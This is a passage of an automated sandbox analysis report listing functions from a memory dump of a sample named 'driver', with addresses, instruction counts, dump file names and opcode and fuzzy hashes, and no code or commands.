Instruction Fuzzy Hash: 1A015272A01A214BDB109A38CCA566BB395EB48322B18827EEC04DF34ADB649C004FD8

Function 0042B518 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9eeb580daf0690ff8f82ab0f624c6ca51e74f10b74a3dc8e174b9b8e2487e9e
Instruction ID: e300ffda5f4cc2885d48ed44411ee441b0f1b085b9231bced60fe51c58f937b7
Opcode Fuzzy Hash: d9eeb580daf0690ff8f82ab0f624c6ca51e74f10b74a3dc8e174b9b8e2487e9e
Instruction Fuzzy Hash: 40115A71601614EFDF21CF59EC8479A3BA4FF09359F4840B6ED089E246D3789890CFA5

Function 00439320 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8db131ba5a39651d4abdd05e5ed134b92c6c4880b972315bd97e056d013494bc
Instruction ID: 3263c1edf7f5e0d7373dccc30c249ecbf10abb337da2c49d0a4ea98307926f95
Opcode Fuzzy Hash: 8db131ba5a39651d4abdd05e5ed134b92c6c4880b972315bd97e056d013494bc
Instruction Fuzzy Hash: 3A01E17120CA00CBCF14DE19EAC545A73E6EB8C321F58567BEC5CCF249D6749C419E66

Function 004313DC Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b84cdbc8fd2fd01c263766008fbc67afca9df07434401bf09466d9f1ea6aa7d
Instruction ID: 7c7101dd9e2261e715f5c0dc3de3a99e3aa7f35c38785a512cdd4482857f61c4
Opcode Fuzzy Hash: 6b84cdbc8fd2fd01c263766008fbc67afca9df07434401bf09466d9f1ea6aa7d
Instruction Fuzzy Hash: 6401F93470010466EB04EA6AD4467FEF39AAF88344F20817FA808D3386CBBD9A164697

Function 00430E60 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1c0ba403a8d55f62045e49244dcf0eed5f7a0f43248fbe578ee675584438b66
Instruction ID: e344819b075b998e1b548c1c1f7bebc610f125978399720ee7a372b58991a6df
Opcode Fuzzy Hash: f1c0ba403a8d55f62045e49244dcf0eed5f7a0f43248fbe578ee675584438b66
Instruction Fuzzy Hash: A3017171508A804AEB15CE3998C43C73EC45F5930AF0C85BEDC4D9F247D6B505849BB5

Function 0040214C Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2691867d5767138c56b061d1cac840a3c1777e0aa78f1d6934e4366d00bf30ee
Instruction ID: e3d3596606603380f7138976bd082313802aad131922af16f15f4c54d6c97994
Opcode Fuzzy Hash: 2691867d5767138c56b061d1cac840a3c1777e0aa78f1d6934e4366d00bf30ee
Instruction Fuzzy Hash: 76F0EC1174835027DB11517E2D8975B9B8C8BD5755F0440BBF645B73C3D4FD4C0A42B9

Function 00440EB8 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75c2b70014ed832cc629f7b83b8e4925aeed4df9274d8251771c8e9f5e8ce729
Instruction ID: 6ee3b04a48d973a5bb3eb20359a84c3445d06d9f83aac0a741c61e855d044650
Opcode Fuzzy Hash: 75c2b70014ed832cc629f7b83b8e4925aeed4df9274d8251771c8e9f5e8ce729
Instruction Fuzzy Hash: 81F03938108208DFF750AF62EC8961F3768EB55319F28883FE60581261DF7898A1CA5D

Function 00403C78 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: e4158f69be5db5c4f742807c127ae7e974a0140855bb8a8d647212c3b4cbe9e0
Instruction ID: 0eb248996b8f5e7b0b3858746f8ad46448ea615bfe9f972fcf08aa3a0fce00cf
Opcode Fuzzy Hash: e4158f69be5db5c4f742807c127ae7e974a0140855bb8a8d647212c3b4cbe9e0
Instruction Fuzzy Hash: 50E086B174430817D300A9665C83B6BB65C9784325F20463BB515EA3C3DC7DDA0401A8

Function 004039B0 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b393a754cad463262cc0d573031933892f4b291c3642d3602fb737b58db4da88
Instruction ID: 088a9b678e6adc79c35024796c630e9047907c0216cc607f26a1ee31a76d5714
Opcode Fuzzy Hash: b393a754cad463262cc0d573031933892f4b291c3642d3602fb737b58db4da88
Instruction Fuzzy Hash: AEE08C712042042BEB04AD99A882A977B4C9B48365F008067BC4596346D6BADE5483A4

Function 00403AD0 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: File
String ID:
API String ID: 749574446-0
Opcode ID: dd5104ec21632db77bfccb1acd2230f932e0d983213cc522f37143d2952c5d3e
Instruction ID: 852ea7acebefc86807aed7401493887e37693606f36c33a167784ff940e6140f
Opcode Fuzzy Hash: dd5104ec21632db77bfccb1acd2230f932e0d983213cc522f37143d2952c5d3e
Instruction Fuzzy Hash: 14D05B6134030437D7006E7B4C83B167A4E5F58715F00C03A7904AA3D3D9BAD9185108

Function 00415B80 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63077e8bcab2b7f2f6a8c1425cc33a1d16c0ea949bb5305bcf900d5818eac0f0
Instruction ID: 4e056189f57d76fff570c8a22c12fc67a3fb1fc865e2375091feebb40ff0aff4
Opcode Fuzzy Hash: 63077e8bcab2b7f2f6a8c1425cc33a1d16c0ea949bb5305bcf900d5818eac0f0
Instruction Fuzzy Hash: 29D0A733684A155BD708A56E5CD19D7428D4FC8324B24983B780CE92139D5DCC900058

Function 0042BB7C Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51ff537a08fef63bdf0c96cc0ed5d46502602bc2c446dd0ee6c75f0330d2bcbf
Instruction ID: a619144f9a1db721b251a750263a3a64a9ca69730360dbf5ddc471f4c11953c5
Opcode Fuzzy Hash: 51ff537a08fef63bdf0c96cc0ed5d46502602bc2c446dd0ee6c75f0330d2bcbf
Instruction Fuzzy Hash: 46D0C27520055CA78E00DB44BD128723369E6063057884073FA0C4523BE7786948CBCD

Function 00403388 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: CreateErrorFileLast
String ID:
API String ID: 1214770103-0
Opcode ID: a2f52ccab64719e7afa76369a713213d450213ed8f077c1c02f7758d8ccadb7f
Instruction ID: 66e0fa2e3a90dd7c0a30124f68f378ee94c85c300db0f6f6b67e7a1c9ca2838a
Opcode Fuzzy Hash: a2f52ccab64719e7afa76369a713213d450213ed8f077c1c02f7758d8ccadb7f
Instruction Fuzzy Hash: BCC0125030124012E610AD720CC271A42454784716E6468BFB500AF3C7C97AD9062218

Function 00403104 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 07a768561cad142c1aa7794b02966dab1ac288d4e469a79c7aba686b3edb87c6
Instruction ID: 793c961b23b6e2a0f2f7aebb39b9a0a66ec00683b16976a0d3993fe2934fbe84
Opcode Fuzzy Hash: 07a768561cad142c1aa7794b02966dab1ac288d4e469a79c7aba686b3edb87c6
Instruction Fuzzy Hash: 8AD092B17016208B9B14DF6E84C0595FBE8AF8D611754C1BBA80CDB30AD27489018BA0

Function 0043B50C Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d7292b9a0a44aa357acae6feb8a9ad490f7f9c1151ca0d3056356f6e80b5be7
Instruction ID: f52d716bde895b6920b8f7f0e0c113cb1ad6b026cd84a71efd87d35720a9b92a
Opcode Fuzzy Hash: 4d7292b9a0a44aa357acae6feb8a9ad490f7f9c1151ca0d3056356f6e80b5be7
Instruction Fuzzy Hash: 4DC09B21359309755A0055F59841F3733CCC91C75CF103417F609CE501F719F94055DE

Function 0043B3A8 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9723f004397c6385129a260c96cf55e711812be9d6c43eabd64b4f2dd1f31f0e
Instruction ID: bb59fec24ae155195337589753c246b05886390ccb239ed57b2942dbb84cf2a4
Opcode Fuzzy Hash: 9723f004397c6385129a260c96cf55e711812be9d6c43eabd64b4f2dd1f31f0e
Instruction Fuzzy Hash: 95B09B6114831C555A1155D5B441F2637CCCF08654F90701BFE0887101E76DF65011DF

Function 0043AD68 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a9ee577dfe82d61fcb6245e0e699efafc2807a3f8b6d2643be57a6dbe8a6997
Instruction ID: abd9243635777177f13608d5b93e4fc63c7750df3c5c69ed3e96bf4374a32ea5
Opcode Fuzzy Hash: 7a9ee577dfe82d61fcb6245e0e699efafc2807a3f8b6d2643be57a6dbe8a6997
Instruction Fuzzy Hash: B5C02B3308830C6BC60467D6F806989378CCB0A320F00801AF10C86482CDB3B040019F

Function 00415BB0 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2f97f8ea061e0f029b09ad3e9e86269dc7190bd90767021fdb5a0b8a233165d
Instruction ID: 0a86cdb1ad437ea8e48a1d8e3ad4de21f525cce57220df920075e48049fa20e1
Opcode Fuzzy Hash: d2f97f8ea061e0f029b09ad3e9e86269dc7190bd90767021fdb5a0b8a233165d
Instruction Fuzzy Hash: FBC09BF15443008EDB405FE664C975163E4574C335F14D06FE65C9E147D77C54908E2D

Function 00440F0C Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63f704d50bddd1acc1256425e49db7bdb7f3c5eea37efbb4083c621bd0be3d00
Instruction ID: 32c719d24f44432ea02af8058b348b6ff6a580bc2cc2625258898bf1414627e0
Opcode Fuzzy Hash: 63f704d50bddd1acc1256425e49db7bdb7f3c5eea37efbb4083c621bd0be3d00
Instruction Fuzzy Hash: E0B092B268430826E940A589AC03F6633AC4744A04F100011BF0C4A281E4A1B96081AA

Function 00415ADC Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e33aedac80d0062c1e6161624d1bcfdfec9dda8f8c279d4ff00cbde402164fd9
Instruction ID: 49b24f1a4e3d92c7f618e32a1ecc4f0d0c0e924aa8cf248c82b67e82188b51e4
Opcode Fuzzy Hash: e33aedac80d0062c1e6161624d1bcfdfec9dda8f8c279d4ff00cbde402164fd9
Instruction Fuzzy Hash: 9FB012A13492000FA7805FED6CC671193D4B70C315B24807FF54CCF286DA508C548625

Function 0043ACD0 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ba04fd99e5e84448f359d2414dff74ceb16490147f4acb0543988b9f3d33726
Instruction ID: edd0f2000a5a0280c41ad05bc7849167ae62e9a9659831f3cc196b8081b343ce
Opcode Fuzzy Hash: 1ba04fd99e5e84448f359d2414dff74ceb16490147f4acb0543988b9f3d33726
Instruction Fuzzy Hash: F5B0127740830C9BCA045BD9F80988677DCD60A5107018025F50D93501DA72F400469A

Function 0043ACE0 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa7837693ccbcb3965ce62620baeb3772eb84246039d30ef26f9082658ebf36e
Instruction ID: dcc38b4a470782e88e94b56a8137f2e365269cf874ad56e6fdc16fd797955003
Opcode Fuzzy Hash: aa7837693ccbcb3965ce62620baeb3772eb84246039d30ef26f9082658ebf36e
Instruction Fuzzy Hash: BBB0123650830C9BCB045BD8F8098C537ECD60A5217014025F50C93500DA71F440479B

Function 0043A548 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
